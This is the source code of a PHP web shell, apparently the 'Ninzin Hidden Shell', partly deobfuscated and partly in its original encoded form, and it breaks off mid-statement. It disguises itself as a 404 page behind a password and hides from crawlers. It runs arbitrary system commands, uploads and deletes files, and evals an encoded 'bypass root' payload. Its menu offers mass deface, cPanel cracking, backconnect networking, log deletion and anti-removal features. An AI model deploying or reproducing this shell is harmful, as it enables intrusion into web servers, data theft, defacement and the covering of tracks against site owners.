\x9POST File: <input type="text" name="pf" size="50" height="10" placeholder="Lihat diatas ^" class="up" style="width: 450px; cursor: pointer; border-color: #fff" required><br>\xa\x9<input type="submit" name="d" value="Lock!">
\x9</form></center><br>"; if (isset($_POST["url"])) { $url = $_POST["url"]; $pf = $_POST["pf"]; $d = $_POST["d"]; } if (isset($d)) { echo "<center><form method='post' target='_blank' action='{$url}' enctype='multipart/form-data'><input type='file' style='border-color: #fff' name='{$pf}'> <input type='submit' name='g' value='Upload'></form></form></center><br>
\x9</html>"; } } goto lIOqg; B1oFD: if (isset($_POST["upwkwk"])) { if ($_POST["dirnya"] == "2") { $lokasi = $_SERVER["DOCUMENT_ROOT"]; } if (isset($_POST["berkasnya"])) { $data = @file_put_contents($lokasi . "/" . $_FILES["berkas"]["name"], @file_get_contents($_FILES["berkas"]["tmp_name"])); if (file_exists($lokasi . "/" . $_FILES["berkas"]["name"])) { echo "File Uploaded ! <font color='gold'><i>" . $lokasi . "/" . $_FILES["berkas"]["name"] . "</i></font><br><br>"; } else { echo "<font color='red'>Failed to Upload !<br><br>"; } } elseif (isset($_POST["linknya"])) { if (empty($_POST["namalink"])) { die("Filename cannot be empty !"); } if ($_POST["dirnya"] == "2") { $lokasi = $_SERVER["DOCUMENT_ROOT"]; } $data = @file_put_contents($lokasi . "/" . $_POST["namalink"], @file_get_contents($_POST["darilink"])); if (file_exists($lokasi . "/" . $_POST["namalink"])) { echo "File Uploaded ! <font color='gold'><i>" . $lokasi . "/" . $_POST["namalink"] . "</i></font><br><br>"; } else { echo "<font coloe='red'>Failed to Upload !<br><br>"; } } elseif (isset($_POST["bepas"])) { $bepasdata = $_POST["bepasdata"]; $bepasnama = $_POST["bepasnama"]; if ($bepasdata) { echo "string"; } @file_put_contents($lokasi . "/" . $bepasnama, $bepasdata); if (file_exists($lokasi . "/" . $bepasnama)) { echo "File Uploaded ! <font color='gold'><i>" . $lokasi . "/" . $bepasnama . "</i></font><br><br>"; } else { echo "<font coloe='red'>Failed to Upload !<br><br>"; } } } goto LpJr3; Dtjhn: echo "<a class="destroy_table" href="?path=" . $lokasi . "&lockshell=headshoot"><i class="fas fa-lock"></i> Lock Shell</a>"; goto UeoyL; NJYLE: echo "<a class="destroy_table" href="?path=" . $lokasi . "&massdelete=headshoot"><i class="fas fa-trash-alt"></i> Mass Delete</a>"; goto SqmYD; o5GuK: $sub = "subs" . "tr"; goto wm8VQ; a6132: $chm = "ch" . "m" . "od"; goto E0FxW; T1npO: $rd = "r" . "ou" . "nd"; goto wtNyg; FI5oJ: if (file_exists("/usr/bin/python2")) { echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; } goto K59SJ; Sy2Nn: $sts = "s" . "trip" . "slash" . "es"; goto zZT6g; OdrQY: function cekwrite($lokasi) { $izin = substr(sprintf("%o", fileperms($lokasi)), -4); if (is_writable($lokasi)) { return "<font color=green>" . $izin . "</font>"; } else { return "<font color=red>" . $izin . "</font>"; } } goto fHa7N; KMLsg: $srl = "st" . "r_r" . "ep" . "la" . "ce"; goto pWNY4; M172M: function statusnya($file) { $izin = substr(sprintf("%o", fileperms($file)), -4); return $izin; } goto ScuEY; E5N6B: $ifi = "i" . "s_fi" . "le"; goto o5GuK; gQReF: if ($isw($euybrekw)) { echo "<font color="green">"; } elseif (!$isr($euybrekw)) { echo "<font color="red">"; } goto e5iX1; DvHE_: $ird = "is" . "_rea" . "da" . "ble"; goto mCni8; UeoyL: echo "<a class="destroy_table" href="?path=" . $lokasi . "&antikillshell=headshoot"><i class="fas fa-lock"></i> Anti Delete Shell</a>"; goto zmjIK; m7OOJ: echo "PHP Version : <font color='gold'>" . @phpversion() . "</font><br>"; goto BHQD_; aLxFY: $fnct = "fu" . "nc" . "tion" . "_exi" . "sts"; goto RyRkz; uXLCq: if (function_exists("curl_init")) { echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; } goto JwZiV; zZT6g: $scd = "sc" . "a" . "nd" . "ir"; goto rTGrb; r3ubz: if (file_exists("/usr/bin/wget")) { echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; } goto K15ms; gQcC8: $lokasinya = @scandir($lokasi); goto Jketo; vesdy: ini_set("display_errors", 1); goto z5F0D; A0cMJ: function exe($cmd) { if (function_exists("system")) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("exec")) { @exec($cmd, $results); $buff = ''; foreach ($results as $result) { $buff .= $result; } return $buff; } elseif (function_exists("passthru")) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("shell_exec")) { $buff = @shell_exec($cmd); return $buff; } } goto usZaD; jEwWG: $bypass_root = "wIAonkAOTU3sK/T1OwnOzB0yvqYnjzbaAgtzpKswuoLZ091WZznmf+5ZzgEFHOO8XAddEM9XXnYtb28++Ti8N+LaBWAYYjuSyeBK75j5B3CzT8fPum7ifbE2nPDSTXxBnoZBtFJL5gU0bcSXBWpKgqav7Sk+Yy+4KMujVssoQEMFmJ5mrJgziyvLYEGmuDKoEiC5ph8+of5RouQwhc0CiP57/VGwO3pe1skAuYEWU8qRgiGjycGktzIADj5F2RKBV+EfzXZaegwelAl6jwwbLE25Ud47MKAYToRLxlOVdONiyAgy3KeID9urJKTThctVtIgR6U9hR0TYrEkDajp0CnE6CNxlv4MkN0b86ENWQM6NE0CnGRtUQZhPIMcD2PRWV9gd3FxPGZPmecONVdO90byIAM3DBPD+uE5Gv9iy3DE4YmbsWGWTXvOlzBaiy7/+/Ql8N/bnaOl9I3vg8RUuJBSN4nZzCb2WI2ClmsuoPj5tJI8wd81bZkdpiwh024XXOMtxeViUE7KkRyK9VtuAUM6IL7OUNFelpcenRSMWUB+dh99zHECfXNORcU5SBmGMyF31BwH1BU37KrTUjcaPvpXKjraKm+e5GohbQIpOadpcdYWcqPAsZu4MXqzKrhq0ZVfTn0Q6iOgU7MwMZ1YQVHhjLsbgVwRYmXKyFm2nAFKgF11GKadmE2JfkPjFcQqcZ6U6wZDfW8pmlsTxnr1qnru93Ml+ouX/z4FLEHlz/7UYtJacTn2eaRvGzdckuzcOWL+I3z9y4I7qJniJCBjte+5HCZrhhPKxMTU2BaTg6ae/VFzI0qdXz1IW6IyxecB77ucJ56SprycQ+ipARtdn0nrLvz4bW+hxsreetEZeC+FPwti7sjR="; goto MVaRk; dOhM1: echo "<a class="destroy_table" href="?path=" . $lokasi . "&zoneh=headshoot"><i class="fas fa-theater-masks"></i> Zone-H</a>"; goto UHequ; SfLkK: echo "<div class="d-flex justify-content-center flex-wrap" align="center">"; goto ROUPh; qMfEO: echo "<a class="destroy_table" href="?path=" . $lokasi . "&createrdp=headshoot"><i class="fas fa-laptop-house"></i> Create Rdp</a>"; goto LSJjQ; fqj3p: if (file_exists("/usr/bin/perl")) { echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; } goto kyL3_; kdzPb: echo "<a class="destroy_table" href="?path=" . $lokasi . "&about=headshoot"><i class="fas fa-info"></i> About Me</a>"; goto mzgWT; fSh9Y: echo "</td></tr><tr><td>"; goto B1oFD; mzgWT: echo "<a class="destroy_table" href="?path=" . $lokasi . "&kill=headshoot"><i class="fas fa-skull"></i> Remove Shell</a>"; goto h8OHw; kyhLX: function gor($fl) { $a = "fun" . "cti" . "on_" . "exis" . "ts"; $b = "po" . "s" . "ix_" . "get" . "pwu" . "id"; $c = "fi" . "le" . "o" . "wn" . "er"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d["name"]; } } elseif ($a($c)) { return $c($fl); } else { return "?"; } } goto uW31K; hElda: function ambilKata($param, $kata1, $kata2) { if (strpos($param, $kata1) === FALSE) { return FALSE; } if (strpos($param, $kata2) === FALSE) { return FALSE; } $start = strpos($param, $kata1) + strlen($kata1); $end = strpos($param, $kata2, $start); $return = substr($param, $start, $end - $start); return $return; } goto OdrQY; u2Drw: echo "<a class="destroy_table" href="?path=" . $lokasi . "&phpmailer=headshoot"><i class="fas fa-envelope"></i> Mailer </a>"; goto z1jI2; pWNY4: $sps = "st" . "rp" . "os"; goto zYney; Tudk2: echo "<tr>"; goto xnKOj; K15ms: echo " | Perl : "; goto fqj3p; zYney: $mkd = "m" . "kd" . "ir"; goto Frj1p; iYqNm: function cekfile($file) { return "<i class="fa fa-file" style="color: #d6d4ce"></i> "; } goto aPXjj; V3Qkr: foreach ($lokasis as $id => $lok) { if ($lok == '' && $id == 0) { $a = true; echo "<a href="?path=/">/</a>"; continue; } if ($lok == '') { continue; } echo "<a href="?path="; for ($i = 0; $i <= $id; $i++) { echo "{$lokasis[$i]}"; if ($i != $id) { echo "/"; } } echo "">" . $lok . "</a>/"; } goto fSh9Y; aPXjj: function filedate($file) { return date("F d Y g:i:s", filemtime($file)); } goto vKzed; xO4gP: author(); goto M172M; wm8VQ: $spr = "sp" . "ri" . "ntf"; goto GB8gY; BHQD_: echo "Disable Function : " . $disf . "</font><br>"; goto PkrsF; FrfAB: $ulk = "un" . "li" . "nk"; goto E5N6B; y0HyE: header("X-XSS-Protection: 0"); goto vesdy; tl8xe: function cekdir() { if (isset($_GET["path"])) { $lokasi = $_GET["path"]; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "<font color='green'>Writeable</font>"; } else { return "<font color='red'>Writeable</font>"; } } goto UYsIL; kyL3_: echo " | Python : "; goto FI5oJ; Tk20e: echo "Total HDD : <font color='gold'>" . $total . " </font>/ Free: <font color='gold'>" . $freespace . " </font><br>"; goto Ai93F; ZjnKZ: $idi = "i" . "s_d" . "ir"; goto FrfAB; dL1gv: foreach ($_POST as $key => $value) { $_POST[$key] = stripslashes($value); } goto ZtTTW; Lu2xc: foreach ($lokasinya as $dir) { $euybre = $lokasi . "/" . $dir; $euybre = $srl("//", "/", $euybre); if (!$idi($euybre) || $dir == "." || $dir == "..") { continue; } echo "<tr>"; echo "<td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href="?path=" . $euybre . "">" . $dir . "</a></td>\xa <td><center>--</center></td>\xa <td><center>" . fdt($euybre) . "</center></td>\xa\x9<td><center>" . gor($euybre) . " / " . ggr($euybre) . "</center></td>
\x9<td><center>"; if ($isw($euybre)) { echo "<font color="green">"; } elseif (!$isr($euybre)) { echo "<font color="red">"; } echo statusnya($euybre); if ($isw($euybre) || !$isr($euybre)) { echo "</font>"; } echo "</center></td>
\x9<td><center><form method="POST" action="?pilihan&path={$lokasi}">
<input type="hidden" name="type" value="dir">\xa\x9<input type="hidden" name="name" value="{$dir}">
<input type="hidden" name="path" value="{$lokasi}/{$dir}">\xa <button type='submit' class='btf' name='pilih' value='gantinama'><i class='fa fa-pen' style='color: #fff'></i></button>
\x9<button type='submit' class='btf' name='pilih' value='ubahtanggal'><i class='fa fa-calendar' style='color: #fff'></i></button>\xa <button type='submit' class='btf' name='pilih' value='ubahmod'><i class='fa fa-cogs' style='color: #fff'></i></button>\xa\x9<button type='submit' class='btf' name='pilih' value='hapus'><i class='fa fa-trash' style='color: #fff'></i></button>\xa\x9</form></center></td>
</tr>"; } goto kk5vw; e5iX1: echo statusnya($euybrekw); goto y1wXQ; wtNyg: $igt = "in" . "i_g" . "et"; goto aLxFY; y97T_: echo "</tr></td></table></table>"; goto xO4gP; fn_SB: function hdd($s) { if ($s >= 1073741824) { return sprintf("%1.2f", $s / 1073741824) . " GB"; } elseif ($s >= 1048576) { return sprintf("%1.2f", $s / 1048576) . " MB"; } elseif ($s >= 1024) { return sprintf("%1.2f", $s / 1024) . " KB"; } else { return $s . " B"; } } goto A0cMJ; K59SJ: echo " | Java : "; goto oT752; XZTh7: if (function_exists("mysql_connect")) { echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; } goto t6Qj9; Hfsd7: $fgt = "f" . "ile_g" . "et_c" . "onten" . "ts"; goto Sy2Nn; dHFJs: echo "<a class="destroy_table" href="?path=" . $lokasi . "&backconnect=headshoot"><i class="fas fa-network-wired"></i> Network</a>"; goto qMfEO; E0FxW: $ocd = "oc" . "td" . "ec"; goto NdWei; qVBBG: function red($text) { echo "<center><font color='red'>" . $text . "</center></font>"; } goto X_Ch1; NTU1c: $used = "{$total} - {$freespace}"; goto eZqHv; z5F0D: ini_set("display_startup_errors", 1); goto MQrxV; AyolC: error_reporting(E_ALL); goto nwKbR; LpJr3: echo "</table><br>"; goto VvLMe; MQrxV: ob_start(); goto AyolC; Frj1p: $disfunc = @ini_get("disable_functions"); goto T1l3Y; mvAZG: if (isset($_REQUEST["logout"])) { session_destroy(); echo "<script>window.location='?'</script>"; } goto xxh4f; LSJjQ: echo "<a class="destroy_table" href="?path=" . $lokasi . "&hasgen=headshoot"><i class="fas fa-cash-register"></i> Hash Generator</a>"; goto dOhM1; kk5vw: echo "<tr class="first"><td></td><td></td><td></td><td></td><td></td><td></td></tr>"; goto H5oCk; H5oCk: foreach ($lokasinya as $file) { if (!is_file("{$lokasi}/{$file}")) { continue; } $size = filesize("{$lokasi}/{$file}") / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . " MB"; } else { $size = $size . " KB"; } echo "<tr>\xa<td>" . cekfile($lokasi . "/" . $file) . "<a href="?fileloc={$lokasi}/{$file}&path={$lokasi}">{$file}</a></td>\xa<td><center>" . $size . "</center></td>
<td><center>" . filedate($lokasi . "/" . $file) . "</center></td>\xa<td><center>" . gor($euybre) . " / " . ggr($euybre) . "</center></td>\xa<td><center>"; if (is_writable("{$lokasi}/{$file}")) { echo "<font color="green">"; } elseif (!is_readable("{$lokasi}/{$file}")) { echo "<font color="red">"; } echo statusnya("{$lokasi}/{$file}"); if (is_writable("{$lokasi}/{$file}") || !is_readable("{$lokasi}/{$file}")) { echo "</font>"; } echo "</center></td><td><center>
<form method="post" action="?pilihan&path={$lokasi}">
<button type='submit' class='btf' name='pilih' value='edit'><i class='fa fa-edit' style='color: #fff'></i></button>\xa<button type='submit' class='btf' name='pilih' value='gantinama'><i class='fas fa-pen' style='color: #fff'></i></button>
<button type='submit' class='btf' name='pilih' value='ubahtanggal'><i class='fa fa-calendar' style='color: #fff'></i></button>
<button type='submit' class='btf' name='pilih' value='ubahmod'><i class='fas fa-cogs' style='color: #fff'></i></button>\xa<button type='submit' class='btf' name='pilih' value='dunlut'><i class='fa fa-down" . "load' style='color: #fff'></i></button>\xa<button type='submit' class='btf' name='pilih' value='hapus'><i class='fa fa-trash' style='color: #fff'></i></button>"; if (class_exists("ZipArchive")) { echo "<button type='submit' class='btf' name='pilih' value='unzip'><i class='fas fa-file-archive' style='color: #fff'></i></button>"; } echo "\xa<input type="hidden" name="type" value="file">\xa<input type="hidden" name="name" value="{$file}">\xa<input type="hidden" name="path" value="{$lokasi}/{$file}">\xa</form></center></td>
</tr>"; } goto y97T_; rhtoy: function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === "." || $item === "..") { continue; } $path = $dir . "/" . $item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } goto zKur1; hJYjD: echo "User : <font color='gold'>" . @get_current_user() . " </font>( <font color='gold'>" . @getmyuid() . "</font>) Group: <font color='gold'>" . $group . " </font>( <font color='gold'>" . @getmygid() . "</font>)<br>"; goto Tk20e; t6Qj9: echo " | cURL : "; goto uXLCq; mCni8: $isr = "is_" . "re" . "adab" . "le"; goto IreJh; NdWei: $isw = "i" . "s_wr" . "itab" . "le"; goto RYW2E; z1jI2: echo "<a class="destroy_table" href="?path=" . $lokasi . "&csrfup=headshoot"><i class="fas fa-file-import"></i> CSRF Exploit</a>"; goto Dtjhn; ijH8y: echo "<a class="destroy_table" href="?path=" . $lokasi . "&upload=headshoot"><i class="fas fa-cloud-upload-alt"></i> Upload File</a>"; goto cMCJ5; oT752: if (file_exists("/usr/bin/java")) { echo "<font color=green>ON</font>"; } else { echo "<font color=red>OFF</font>"; } goto dL1gv; PkrsF: echo "MySQL : "; goto XZTh7; Jketo: echo "<br>Directory (" . cekwrite($lokasi) . ") : "; goto V3Qkr; hAab2: function green($text) { echo "<center><font color='green'>" . $text . "</center></font>"; } goto qVBBG; H8RuD: $bsn = "ba" . "se" . "na" . "me"; goto KMLsg; ZtTTW: if (isset($_GET["path"])) { $lokasi = $_GET["path"]; $lokdua = $_GET["path"]; } else { $lokasi = getcwd(); $lokdua = getcwd(); } goto EgDii; nwKbR: echo "\xa<!DOCTYPE html>\xa<html>
<head>\xa <title>404 Not Found</title>
<meta name='author' content='Ninzinjp'>
<meta name='viewport' content='width=device-width, initial-scale=1' />
<meta name='description' content='ninzin shell bypass !'>\xa <meta property='og:description' content='ninzin shell bypass !'>
<meta property='og:image' content='https://i.ibb.co/QHLs3Tt/yunjin.jpg'>
<link rel='icon' href='https://i.ibb.co/QHLs3Tt/yunjin.jpg'>
<link rel='shortcut icon' href='https://i.ibb.co/QHLs3Tt/yunjin.jpg'>
<meta name='robots' content='noindex'>
<meta name='googlebot' content='noindex'>
<meta name='theme-color' content='#1f1f1f'>
</head>
<body bgcolor='#1f1f1f' text='#ffffff'>\xa<link href='' rel='stylesheet' type='text/css'>\xa<link href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.13.0/css/all.min.css' rel='stylesheet'>\xa<style>\xa @import url('https://fonts.googleapis.com/css?family=Dosis');
@import url('https://fonts.googleapis.com/css?family=Trade+Winds');
@import url('https://fonts.googleapis.com/css?family=Bungee+Outline');
@import url('https://fonts.googleapis.com/css?family=Silkscreen');
@import url('https://fonts.googleapis.com/css?family=Bungee');\xabody {
font-family: 'Dosis', cursive;
text-shadow:0px 0px 1px #757575;\xa}\xa
body::-webkit-scrollbar {
width: 12px;\xa
}
\xabody::-webkit-scrollbar-track {\xa background: #1f1f1f;\xa}\xa
body::-webkit-scrollbar-thumb {
background-color: #1f1f1f;\xa border: 3px solid gray;
}\xa\xa#content tr:hover {\xa background-color: #636263;\xa text-shadow:0px 0px 10px #fff;\xa}\xa\xa#content .first {\xa background-color: #25383C;\xa}
\xa#content .first:hover {\xa background-color: #25383C
text-shadow:0px 0px 1px #757575;
}
\xatable {\xa border: 1px #000000 dotted;\xa table-layout: fixed;
word-break: break-all;
}
\xatextarea {
max-width: 95%;
max-height: 100%;
resize: none;\xa outline: none;\xa overflow: auto;\xa background: transparent;
color: #fff;\xa}\xa
textarea::-webkit-scrollbar {
width: 12px;\xa}\xa
textarea::-webkit-scrollbar-track {
background: #1f1f1f;\xa}\xa\xatextarea::-webkit-scrollbar-thumb {
background-color: #1f1f1f;
border: 3px solid gray;\xa}
\xaa {\xa color: #ffffff;\xa text-decoration: none;
}
\xaa:hover {
color: gold;
text-shadow:0px 0px 10px #ffffff;\xa}
\xainput,select,textarea {
border: 1px #000000 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
.gas {
background-color: #1f1f1f;
color: #ffffff;
cursor: pointer;\xa}\xa\xa.btf {
background: transparent;\xa\x9border: 1px #fff solid;\xa cursor: pointer;\xa}\xa
select {
background-color: transparent;
color: #ffffff;
}\xa
select:after {\xa cursor: pointer;\xa}
.linka {\xa background-color: transparent;
color: #ffffff;\xa}
.up {
background-color: transparent;
color: #fff;
}\xa\xa.destroy_table {;
background:transparent;\xa position:relative;
padding:3px;\xa margin:0px;\xa border:1px solid white;
font-family:Dosis;
display:inline-block;
cursor:pointer;
color:white;
font-size:17px;\xa font-weight:bold;\xa padding:3px 20px;\xa text-decoration:white;\xa text-shadow:0px 0px 0px #ff0505;\xa}
\xaoption {\xa background-color: #1f1f1f;
}\xa
::-webkit-file-upload-button {
background: transparent;\xa color: #fff;\xa border-color: #fff;\xa cursor: pointer;
}
</style>
<script>\xafunction setfilename(val)\xa {
filename = val.split('\').pop().split('/').pop();\xa //filename = filename.substring(0, filename.lastIndexOf('.'));
document.getElementById('namanya').value = filename;\xa }
\xaasync function loadFile(file) {
let text = await file.text();\xa document.getElementById('bepasdata').innerHTML = text;\xa}\xa</script>\xa<center>
<font face='Trade Winds' size='6'>Ninzin Hidden Shell</font></center>\xa<img src='https://i.ibb.co/x2Wz44j/ninzinjp.jpg' style='position: absolute; top: 50px; right: 20px; border-radius: 50%; border-color: black;' width='210' border='2' height='210'>\xa<table width='100%' border='0' cellpadding='3' cellspacing='1' align='center'>\xa<tr><td>"; goto jEwWG; X_Ch1: $group = "?"; goto AnxrV; YSYov: echo "Web Server : <font color='gold'>" . $_SERVER["SERVER_SOFTWARE"] . "</font><br>"; goto NkEgn; iXP_6: echo "</div>"; goto CxEzp; GB8gY: $fp = "fil" . "epe" . "rms"; goto a6132; d5Nl3: echo "<div id="content"><table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</center></td>
<td><center>Size</center></td>
<td><center>Last Modified</center></td>
<td><center>Owner / Group</center></td>
<td><center>Permissions</center></td>
<td><center>Options</center></td>\xa</tr>"; goto Tudk2; EgDii: $lokasi = str_replace("\", "/", $lokasi); goto agdM1; S5rvq: function fdt($fl) { $a = "da" . "te"; $b = "fil" . "emt" . "ime"; return $a("F d Y H:i:s", $b($fl)); } goto kyhLX; E8VnX: function ipserv() { if (empty($_SERVER["SERVER_ADDR"])) { return gethostbyname($_SERVER["SERVER_NAME"]); if (empty(gethostbyname($_SERVER["SERVER_NAME"]))) { return $_SERVER["SERVER_NAME"]; } } else { return $_SERVER["SERVER_ADDR"]; } } goto iYqNm; usZaD: function author() { echo "<center><br>Made with \342\x99\xa5\xef\xb8\217 From Ninzin</center>"; die; } goto S5rvq; O2SSS: if (!isset($_SESSION[md5($_SERVER["HTTP_HOST"])])) { if (empty($password) || isset($_POST["password"]) && base64_encode($_POST["password"]) == $password) { $_SESSION[md5($_SERVER["HTTP_HOST"])] = true; } else { login_shell(); } } goto y0HyE; cMCJ5: echo "<a class="destroy_table" href="?path=" . $lokasi . "&massdeface=headshoot"><i class="fas fa-poo-storm"></i> Mass Deface</a>"; goto NJYLE; EYdlW: function owner($file) { if (function_exists("posix_getpwuid")) { $tod = @posix_getpwuid(fileowner($file)); return "<center>" . $tod["name"] . "</center>"; } else { return "<center>" . fileowner($file) . "</center>"; } } goto hElda; xxh4f: $password = "eHpvdXJ0MTIz"; goto tyq0E; y1wXQ: if ($isw($euybrekw) || !$isr($euybrekw)) { echo "</font>"; } goto lm9_W; NkEgn: echo "System : <font color='gold'>" . php_uname() . "</font><br>"; goto hJYjD; UHequ: echo "<a class="destroy_table" href="?path=" . $lokasi . "&adminer=headshoot"><i class="fas fa-database"></i> Adminer</a>"; goto u2Drw; tyq0E: function login_shell() { ?>
<!doctypehtml><html><head><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><style>input{margin:0;background-color:#fff;border:1px solid #fff;text-align:center}</style><br><br><br><br><br><form method="post"><br><br><center><input autocomplete="off"name="password"type="password"></form><?php die; } goto O2SSS; bDGIE: error_reporting(0); goto aZYKL; WhxNt: echo "</div>"; goto iXP_6; T1l3Y: if (empty($disfunc)) { $disf = "<font color='gold'>NONE</font>"; } else { $disf = "<font color='red'>" . $disfunc . "</font>"; } goto fn_SB; aZYKL: header("HTTP/1.0 404 Not Found", true, 404); goto hPJ3K; AjOag: $fpt = "fi" . "le_p" . "ut_co" . "nte" . "nts"; goto Hfsd7; qC3XU: echo "</tr>"; goto Lu2xc; Ai93F: echo "Time : <font color='gold'>" . date("d M Y H:i:s", time()) . " </font><br>"; goto m7OOJ; m6yLj: echo "<td><i class='fa fa-folder' style='color: #ffe9a2'></i> <a href="?path=" . $euybrekw . "">..</a></td>\xa<td><center>--</center></td>
<td><center>" . fdt($euybrekw) . "</center></td>
<td><center>" . gor($euybrekw) . " / " . ggr($euybrekw) . "</center></td>
<td><center>"; goto gQReF; xnKOj: $euybrekw = $srl($bsn($lokasi), '', $lokasi); goto zRnLc; CYemH: $rpt = "re" . "al" . "pa" . "th"; goto H8RuD; agdM1: $lokasis = explode("/", $lokasi); goto gQcC8; y2_cD: echo "<a class="destroy_table" href="?path=" . $lokasi . "&moretools=headshoot"><i class="fas fa-tools"></i> More Tools</a>"; goto kdzPb; AnxrV: $freespace = hdd(disk_free_space("/")); goto C6XDb; rTGrb: $fxt = "fi" . "le_" . "exis" . "ts"; goto ZjnKZ; zKur1: function dunlut($file) { if (!is_readable($file)) { red("Cannot Download File / Unreadable File !"); die; } @ob_clean(); header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename="" . basename($file) . """); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); readfile($file); die; } goto EYdlW; MVaRk: eval(gzinflate(base64_decode(str_rot13($bypass_root)))); goto AjOag; h8OHw: echo "<a class="destroy_table" href="?path=" . $lokasi . "&logout=headshoot"><i class="fas fa-sign-out-alt"></i> Logout</a>"; goto WhxNt; ROUPh: echo " <a class="destroy_table" href="" . $_SERVER["SCRIPT_NAME"] . ""><i class="fas fa-home"></i> Home</a>"; goto Du9kO; yuM3I: if (!empty($_SERVER["HTTP_USER_AGENT"])) { $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot", "curl"); if (preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) { header("HTTP/1.0 404 Not Found"); die; } } goto mvAZG; UYsIL: function cekroot() { if (is_writable($_SERVER["DOCUMENT_ROOT"])) { return "<font color='green'>Writeable</font>"; } else { return "<font color='red'>Writeable</font>"; } } goto rhtoy; Njo2H: echo "<a class="destroy_table" href="?path=" . $lokasi . "&delete_logs=headshoot"><i class="fas fa-trash"></i></i> Delete Logs</a>"; goto y2_cD; fHa7N: function ekse($komend, $lokasi) { if (!function_exists("proc_open")) { die("proc_open function disabled !"); } elseif (!function_exists("base64_decode")) { die("base64_decode function disabled !"); } $komen = base64_decode(base64_decode(base64_decode($komend))); if (strpos($komend, "2>&1") === false) { $komen = base64_decode(base64_decode(base64_decode($komend))) . " 2>&1"; } $tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi); echo "<textarea rows='25' cols='100'>" . htmlspecialchars(stream_get_contents($pipes[1])) . "</textarea><br><br>"; } goto E8VnX; SqmYD: echo "<a class="destroy_table" href="?path=" . $lokasi . "&cpcrack=headshoot"><i class="fas fa-key"></i> Cpanel Crack</a>"; goto dHFJs; RYW2E: $idr = "i" . "s_d" . "ir"; goto DvHE_; hPJ3K: session_start(); goto yuM3I; ScuEY: ?>Did this file decode correctly?
Original Code
goto bDGIE; vKzed: function unzip($file, $lokasi) { if (!is_readable($file)) { red("\x43\x61\156\156\x6f\x74\x20\125\x6e\x7a\151\160\x20\106\151\x6c\145\x20\57\x20\x55\x6e\x72\145\x61\x64\x61\x62\x6c\145\40\x46\151\154\145\40\41"); die; } elseif (strpos(file_get_contents($file), "\x50\x4b\3\4") === false) { red("\x54\x68\151\163\x20\151\163\x6e\47\164\x20\x5a\151\x70\x20\x46\x69\x6c\x65\x20\x21"); die; } $zip = new ZipArchive(); $res = $zip->open($file); if ($res == true) { $zip->extractTo($lokasi); $zip->close(); green("\123\165\x63\143\145\x73\x73\x20\125\x6e\x7a\x69\x70\x20\106\151\154\145\40\x21"); } else { red("\x46\x61\x69\x6c\145\x64\40\164\x6f\40\x55\156\x7a\x69\160\40\106\x69\154\x65\x20\x21"); } } goto hAab2; Du9kO: echo "\x3c\141\x20\143\x6c\141\x73\163\75\x22\144\145\x73\164\162\x6f\x79\x5f\x74\141\x62\x6c\145\x22\40\150\x72\145\x66\x3d\x22\77\160\141\164\x68\75" . $lokasi . "\46\x6b\157\155\145\156\x64\75\150\x65\x61\x64\163\150\x6f\157\x74\x22\x3e\x3c\151\x20\143\x6c\141\163\x73\75\42\146\141\163\40\x66\x61\x2d\164\x65\x72\x6d\151\156\141\154\42\76\x3c\x2f\x69\x3e\46\156\x62\x73\x70\x3b\103\x30\x6d\x6d\141\156\144\74\x2f\x61\x3e"; goto ijH8y; VvLMe: echo "\74\x64\151\166\x20\143\154\x61\163\163\x3d\x22\164\x65\x78\164\55\x63\145\156\x74\145\x72\42\x3e"; goto SfLkK; uW31K: function ggr($fl) { $a = "\146\x75\x6e" . "\143\164\151" . "\x6f\156\x5f" . "\x65\x78\x69\163" . "\164\163"; $b = "\160\x6f" . "\x73\x69" . "\x78\137\147\x65" . "\164\147\x72" . "\147\x69\x64"; $c = "\x66\x69" . "\154\145" . "\x67\x72\157" . "\165\160"; if ($a($b)) { if (!$a($c)) { return "\x3f"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "\77"; } else { return $e; } } else { return $d["\x6e\x61\x6d\x65"]; } } elseif ($a($c)) { return $c($fl); } else { return "\x3f"; } } goto tl8xe; CxEzp: echo "\74\57\164\x61\x62\154\145\x3e\74\x62\162\76"; goto s5p3N; C6XDb: $total = hdd(disk_total_space("\57")); goto NTU1c; zRnLc: $euybrekw = $srl("\x2f\57", "\x2f", $euybrekw); goto m6yLj; RyRkz: $rad = "\x52\105" . "\x4d" . "\x4f\x54\x45\x5f\x41\x44" . "\104\122"; goto CYemH; IreJh: $fsz = "\146\151" . "\154\145\163\x69" . "\172\145"; goto T1npO; JwZiV: echo "\40\x26\156\x62\163\160\73\174\46\156\x62\163\x70\x3b\40\127\107\x45\x54\40\x3a\40"; goto r3ubz; lIOqg: if 